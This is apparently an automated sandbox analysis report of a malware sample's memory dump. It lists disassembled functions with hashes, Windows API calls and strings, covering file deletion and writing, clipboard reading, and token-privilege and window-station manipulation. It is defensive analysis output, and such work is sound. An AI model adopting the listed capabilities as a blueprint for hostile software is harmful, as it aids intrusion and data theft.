Opcode ID: 06bc693147d016ae4db3d585c0c83c0a9b883d7df4a9d1155d57c2842995df24
Instruction ID: b373cc764d3446a63877c723a0193be8889b946b657074e12dd0a9e92ba5e5c0
Opcode Fuzzy Hash: 06bc693147d016ae4db3d585c0c83c0a9b883d7df4a9d1155d57c2842995df24
Instruction Fuzzy Hash: 46F01D35608108AF8B15EBA5D846C9F7BA8EF59720B004155F9049B261DB70AD818B50

Function 00187C7F Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00140FE6: std::exception::exception.LIBCMT ref: 0014101C
Part of subcall function 00140FE6: __CxxThrowException@8.LIBCMT ref: 00141031

_memset.LIBCMT ref: 00187CB4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction ID: 4ca0d44330033149cf45a6d238c1da344bc16f74af76840560638e677c77cfa6
Opcode Fuzzy Hash: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction Fuzzy Hash: 9601F6742042059FD325EF6CD541F05BBE1AF6D710F24846AF5888B3A2DB72E800CF90

Function 00134A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00134AA4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: adcd9e1f96dad29ace381ab524d269fd958caaf0409ab44ef08d23892893866c
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: 80F08CB6400208FFDF158F44DC00CEB7B79EB89324F104198F9085B111D332EA218BB0

Function 00134A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,001327AF,?,00000001), ref: 00134A63

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: a59608665f784603c56f68371a6ba3f48cba6937253a630e629aa46c3b1a6c3f
Instruction ID: e4d4d7d77e7921913127e166d7015fa43261f6a122b369bd253bc047fcb37ffa
Opcode Fuzzy Hash: a59608665f784603c56f68371a6ba3f48cba6937253a630e629aa46c3b1a6c3f
Instruction Fuzzy Hash: 69F01571145701CFCB389F64E494826BBF1AF143257208A6EE1D793721C731A984DB44

Function 00134AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00134AD0

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: f32e532bc391f4d8da517c07b6e77714636d179296a7b3124e341e75cb3d8234
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: 77F0FE7140020DFFDF05CF90C941EAA7B79FB15314F118589FD194B112D736DA21AB91

Function 001409C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 001409E4

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 8beaa2c3ea8f0f2acfe6226412570bf3282c9dbb0f833ca4b00b54433ad36443
Instruction ID: 81b61b43b4f620b74e0a2b0321728ef4d6e7029c74e4c0a0bc457cc8cfe992f1
Opcode Fuzzy Hash: 8beaa2c3ea8f0f2acfe6226412570bf3282c9dbb0f833ca4b00b54433ad36443
Instruction Fuzzy Hash: 87E086329001286BC72196989C05FEE77EDEB89691F0402B6FC08D7214DA609C818691

Function 00184D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00184D31

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: dc3a48cfb21da1b4a8c262081be2d8db548142dfb74b8d882f1c61f2b492ee98
Instruction ID: 648b0e79c5ce67f67ee1d2770bac821b244e41848c91ed9319ed4040fd1db552
Opcode Fuzzy Hash: dc3a48cfb21da1b4a8c262081be2d8db548142dfb74b8d882f1c61f2b492ee98
Instruction Fuzzy Hash: A8D05EA190032C3BDB60E6A49C4DDF77BACD744220F0007E17C5CC3101EA249D8586E0

Function 0018394D Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0018384C: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00183959,00000000,00000000,?,001705DB,001D8070,00000002,?,?), ref: 001838CA

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?,001705DB,001D8070,00000002,?,?,?,00000000), ref: 00183967

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 045d3f650a618bb6637acf5bf4067730f045bd91e6cc4be3852ef7684fb4ec2c
Instruction ID: 9b930d912c016c3473f697c2fba6a437a1ebbf42b8b798b1389ad470a28ca22d
Opcode Fuzzy Hash: 045d3f650a618bb6637acf5bf4067730f045bd91e6cc4be3852ef7684fb4ec2c
Instruction Fuzzy Hash: 64E04F35400208BBD720AF94D801A9AB7BCEB05710F00465AFD4091511D7B29E149B90

Function 00183EF7 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00183E7D,?,?,?), ref: 00183F0D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 1063cc278e3f99304268d0f6c0db4c258f3d6b05bbdd04c0320319d1bf6b03db
Instruction ID: 447de8492edded991147894c83f3acf8a02f917f88d968c5b8f926a1d7465b5a
Opcode Fuzzy Hash: 1063cc278e3f99304268d0f6c0db4c258f3d6b05bbdd04c0320319d1bf6b03db
Instruction Fuzzy Hash: 2BD0A7315E020CBBEF50DFA0CC06F69B7ACE705706F1002E4B504D90E0DB7269189795

Function 001342AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,001706E6,00000000,00000000,00000000), ref: 001342BF

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 6b827b6169cbcb646f90ab89a9c6995b81b0a42b16d09263dd841b5283105de8
Instruction ID: f8a6d69f41c9b32610e172a5b944b2af16d18b1de61ec8af158e6833507d02f6
Opcode Fuzzy Hash: 6b827b6169cbcb646f90ab89a9c6995b81b0a42b16d09263dd841b5283105de8
Instruction Fuzzy Hash: 32D0C77464020CBFE715DB84DC46FAA777CE705710F100294FD0466690D6B2BD508795

Function 00184FEC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00183BFE), ref: 00184FED

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 16bb588bc9f5c723b5844c02e58feb4b778f7286daf8853100fabbc4bfbbfce8
Instruction ID: db4e88518d7b51e4f34a7c4b1df0f9fd65442711f3f8b498713e95cff0706973
Opcode Fuzzy Hash: 16bb588bc9f5c723b5844c02e58feb4b778f7286daf8853100fabbc4bfbbfce8
Instruction Fuzzy Hash: 91B09234000602579D283F3C194809A33015A563A97D81B89E578858E19F39898BAA60

Function 0014547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00145486

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: dd88b65ced09a11ab6d6ac5b1726c0341f4e04a786a57e2a1efad327577fc0dd
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 9EB0927644020C77CF012A92EC03A593B2A9B50668F448020FB0C1C172B673A6A09689

Function 0018D6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 0018D842

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: a46e3cfa02dbf7b1bd80b6b9595c76da5e5434a391d1114591650e73b74292cf
Instruction ID: 511e44b72def3469a8e1955ac61cc8d10d0b141938fbb5a88171be6634977c7e
Opcode Fuzzy Hash: a46e3cfa02dbf7b1bd80b6b9595c76da5e5434a391d1114591650e73b74292cf
Instruction Fuzzy Hash: C57171706043019FC714EF64E491A6EB7E1BFA9354F04462DF5969B2A2DB30EE09CF52

Function 0018C270 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00184005: FindFirstFileW.KERNEL32(?,?), ref: 0018407C
Part of subcall function 00184005: DeleteFileW.KERNEL32(?,?,?,?), ref: 001840CC
Part of subcall function 00184005: FindNextFileW.KERNELBASE(00000000,00000010), ref: 001840DD
Part of subcall function 00184005: FindClose.KERNEL32(00000000), ref: 001840F4

GetLastError.KERNEL32 ref: 0018C292

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: f9930bd7472f29193851a656eefa1a5bb1ef3e260da6281c3d19941d38d5a211
Instruction ID: bd41cab1e35c7c1c54516d6ff89ad38b0cf5837bd5c7a12fcca1701fee08bf18
Opcode Fuzzy Hash: f9930bd7472f29193851a656eefa1a5bb1ef3e260da6281c3d19941d38d5a211
Instruction Fuzzy Hash: FEF08C322106148FDB10FF99E844B6AB7E5AFA8320F058019F9498B352CB74BD02CF94

Function 001342CF Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,00162F8B), ref: 001342EF

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c873a9ae1da9ceba7403e227f5e6440a9f2fbbc2e01ceb258e321a0156c47497
Instruction ID: 828de11ce9a5d567dd0004360309b7c7bc292e3343b89567d6d308ec3a7cfa6e
Opcode Fuzzy Hash: c873a9ae1da9ceba7403e227f5e6440a9f2fbbc2e01ceb258e321a0156c47497
Instruction Fuzzy Hash: 14E09275400B01CFC3314F1AE804412FBE4FFE53613214A2EE4E6A2660D3B0689A8F90

Non-executed Functions

Function 001AD164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 001AD208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 001AD249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 001AD28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 001AD2B8
SendMessageW.USER32 ref: 001AD2E1
_wcsncpy.LIBCMT ref: 001AD359
GetKeyState.USER32(00000011), ref: 001AD37A
GetKeyState.USER32(00000009), ref: 001AD387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 001AD39D
GetKeyState.USER32(00000010), ref: 001AD3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 001AD3D0
SendMessageW.USER32 ref: 001AD3F7
SendMessageW.USER32(?,00001030,?,001AB9BA), ref: 001AD4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 001AD513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 001AD526
SetCapture.USER32(?), ref: 001AD52F
ClientToScreen.USER32(?,?), ref: 001AD594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 001AD5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 001AD5BB
ReleaseCapture.USER32 ref: 001AD5C6
GetCursorPos.USER32(?), ref: 001AD600
ScreenToClient.USER32(?,?), ref: 001AD60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 001AD669
SendMessageW.USER32 ref: 001AD697
SendMessageW.USER32(?,00001111,00000000,?), ref: 001AD6D4
SendMessageW.USER32 ref: 001AD703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 001AD724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 001AD733
GetCursorPos.USER32(?), ref: 001AD753
ScreenToClient.USER32(?,?), ref: 001AD760
GetParent.USER32(?), ref: 001AD780
SendMessageW.USER32(?,00001012,00000000,?), ref: 001AD7E9
SendMessageW.USER32 ref: 001AD81A
ClientToScreen.USER32(?,?), ref: 001AD878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 001AD8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 001AD8D2
SendMessageW.USER32 ref: 001AD8F5
ClientToScreen.USER32(?,?), ref: 001AD947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 001AD97B

Part of subcall function 001229AB: GetWindowLongW.USER32(?,000000EB), ref: 001229BC

GetWindowLongW.USER32(?,000000F0), ref: 001ADA17

Strings

@GUI_DRAGID, xrefs: 001AD562
F, xrefs: 001AD8FB

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: f1b70eb563eb43876586d81a3660bcbc3231d13f98bd73f98c0c24995e16249f
Instruction ID: 0e158db0d35d7dd5676ba8c720c296d276e22434a07191d6bddd8b52dffcd4c2
Opcode Fuzzy Hash: f1b70eb563eb43876586d81a3660bcbc3231d13f98bd73f98c0c24995e16249f
Instruction Fuzzy Hash: 1442F178204740AFDB25CF28D844FAABBE5FF5E310F14065AF65687AA0C771D894CB91

Function 00178F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00179399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 001793E3
Part of subcall function 00179399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00179410
Part of subcall function 00179399: GetLastError.KERNEL32 ref: 0017941D

_memset.LIBCMT ref: 00178F71
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00178FC3
CloseHandle.KERNEL32(?), ref: 00178FD4
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00178FEB
GetProcessWindowStation.USER32 ref: 00179004
SetProcessWindowStation.USER32(00000000), ref: 0017900E
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00179028

Part of subcall function 00178DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00178F27), ref: 00178DFE
Part of subcall function 00178DE9: CloseHandle.KERNEL32(?,?,00178F27), ref: 00178E10

Strings

winsta0, xrefs: 00178FE6
, xrefs: 00178F80
default, xrefs: 00179023

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 6fec3001629ba134e999711d4c2f43b6db5646a629d3fb94b16ceb8f0055cdba
Instruction ID: e98eadd76e6ce49fc8d465a5e2a84b4ef35a7ca1576dc1e0b64a09e86a5d705e
Opcode Fuzzy Hash: 6fec3001629ba134e999711d4c2f43b6db5646a629d3fb94b16ceb8f0055cdba
Instruction Fuzzy Hash: 8E818F71800209BFDF11DFA4CC49AEEBB79FF08314F548159F918A6260DB328E69DB60

Function 00194632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(001B0980), ref: 0019465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 0019466A
GetClipboardData.USER32(0000000D), ref: 00194672
CloseClipboard.USER32 ref: 0019467E
GlobalLock.KERNEL32(00000000), ref: 0019469A
CloseClipboard.USER32 ref: 001946A4
GlobalUnlock.KERNEL32(00000000), ref: 001946B9
IsClipboardFormatAvailable.USER32(00000001), ref: 001946C6
GetClipboardData.USER32(00000001), ref: 001946CE
GlobalLock.KERNEL32(00000000), ref: 001946DB
GlobalUnlock.KERNEL32(00000000), ref: 0019470F
CloseClipboard.USER32 ref: 0019481F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 21472101f9264db794ee4d77d75c46f8121c9c12ba7e678b7d0713d4b5f45299
